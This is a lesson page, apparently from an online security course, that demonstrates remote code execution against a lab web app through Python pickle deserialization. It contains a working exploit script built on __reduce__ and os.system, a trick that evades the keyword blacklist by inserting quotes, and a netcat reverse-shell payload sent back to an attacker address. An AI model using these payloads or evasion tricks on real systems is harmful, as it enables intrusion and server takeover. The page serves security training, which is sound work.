Introduction to Deserialization Attacks
Remote Code Execution
Getting RCE
In the previous section, we generated a cookie value to give ourselves admin access to the website. As a final objective, we will try and abuse the known deserialization to get remote code execution on the web server.
You may have already noticed in the Identifying a Vulnerability section that there is some sort of blacklist filter in the util.auth.cookieToSession function before the cookie is deserialized. We will need to keep this in mind as we develop our exploit:
...
def cookieToSession(cookie):
b = base64.b64decode(cookie)
for badword in [b"nc", b"ncat", b"/bash", b"/sh", b"subprocess", b"popen"]:
if badword in b:
return None
p = pickle.loads(b)
return p
...
We know that we control a value that will be passed to pickle.loads(). If we take a look at the documentation about (un-)pickling in Python 3, we will find a lot of information describing the process. The section which is interesting for us right now is the description for the object.__reduce__() function.
Reading about object.__reduce__(), we see that it returns a tuple that contains:
-
A callable object that will be called to create the initial version of the object.
-
A tuple of arguments for the callable object.
What this means exactly is that when a pickled object is unpickled, if the pickled object contains a definition for __reduce__, it will be used to restore the original object. We can abuse this by returning a callable object with parameters that result in command execution.
Included in the list of words banned by util.auth.cookieToSession are subprocess and Popen. This would be one way to achieve command execution in Python (e.g. subprocess.Popen(["ls", "-l"])). There are, of course, many other ways to achieve this, so to bypass the filter, we can choose something else.
In this case, we want to execute os.system("ping -c 5 <ATTACKER_IP>"), just to check if the command execution works. This means we will need to define __reduce__ so it returns os.system as the callable object and "ping -c 5 <ATTACKER_IP>" as the argument. Since __reduce__ requires a tuple of arguments we will use ("ping -c 5 <ATTACKER_IP>",). We create a new file named exploit-rce.py with the following contents:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.system, ("ping -c 5 <ATTACKER_IP>",)
r = RCE()
p = pickle.dumps(r)
b = base64.b64encode(p)
print(b.decode())
Running this file, we will get a base64-encoded value that we should be able to set the authentication cookie to and achieve RCE.
[!bash!]$ python3 exploit-rce.py
gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==
Testing Locally
If we test the payload locally...
[!bash!]$ python3
Python 3.10.7 (main, Oct 1 2022, 04:31:04) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import util.auth
>>> s = util.auth.cookieToSession('gASVLgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBNwaW5nIC1jIDUgMTI3LjAuMC4xlIWUUpQu')
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.041 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.041 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.041 ms
--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4076ms
rtt min/avg/max/mdev = 0.041/0.041/0.044/0.001 ms
...and run tcpdump to capture the ICMP packets so we can confirm the RCE:
[!bash!]$ sudo tcpdump -i lo
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:28:15.131656 IP view-localhost > view-localhost: ICMP echo request, id 63693, seq 1, length 64
15:28:15.131668 IP view-localhost > view-localhost: ICMP echo reply, id 63693, seq 1, length 64
15:28:16.135472 IP view-localhost > view-localhost: ICMP echo request, id 63693, seq 2, length 64
...
Running against the Target
With the RCE confirmed, let's go for a reverse shell. For this we will want to run nc -nv <ATTACKER_IP> 9999 -e /bin/sh on the machine, but the words nc and /sh are blacklisted. There are many ways we can get around this, one of which is a very simple trick: we can insert single quotes into the blacklisted words. The filter will not detect them anymore, and the shell will ignore them when executing the command. For example:
[!bash!]$ h'e'ad /e't'c/p'a's's'wd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
With this in mind, we can update exploit-rce.py to contain our payload, which should bypass the blacklist filter and give us a reverse shell.
...
class RCE:
def __reduce__(self):
return os.system, ("n''c -nv 172.17.0.1 9999 -e /bin/s''h",)
...
Running the file gives us the base64-encoded value:
[!bash!]$ python3 exploit-rce.py
gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVt...SNIP...SFlFKULg==
We can start a Netcat listener locally, and then paste the value from above into cookie value and reload the page to receive a reverse shell:
[!bash!]$ nc -nvlp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:32823.
ls -l
total 56
-rw-r--r-- 1 root root 184 Oct 11 12:55 Dockerfile
drwxr-xr-x 1 root root 4096 Oct 11 13:10 __pycache__
-rw-r--r-- 1 root root 2038 Oct 11 12:57 app.py
-rw-r--r-- 1 root root 37 Oct 10 16:51 flag.txt
-rw-r--r-- 1 root root 20480 Oct 11 13:10 htbooks.sqlite3
-rw-r--r-- 1 root root 27 Oct 11 12:59 requirements.txt
drwxr-xr-x 4 root root 4096 Oct 10 16:51 static
drwxr-xr-x 2 root root 4096 Oct 10 16:51 templates
drwxr-xr-x 1 root root 4096 Oct 10 16:51 util
Note that using this cookie value with result in an Internal Server Error since we are not passing a legitimate util.auth.Session object to util.auth.cookieToSession, but the command still ran, so it is alright in our case.
VPN Servers
Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.
All VM instances associated with the old VPN Server will be terminated when switching to
a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.
PROTOCOL
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
Table of Contents
Introduction
Introduction to Serialization Introduction to Deserialization AttacksExploiting PHP Deserialization
Identifying a Vulnerability (PHP) Object Injection (PHP) RCE: Magic Methods RCE: Phar Deserialization Tools of the TradeExploiting Python Deserialization
Identifying a Vulnerability (Python) Object Injection (Python) Remote Code Execution Tools of the TradeDefending against Deserialization Attacks
Patching Deserialization Vulnerabilities Avoiding Deserialization VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left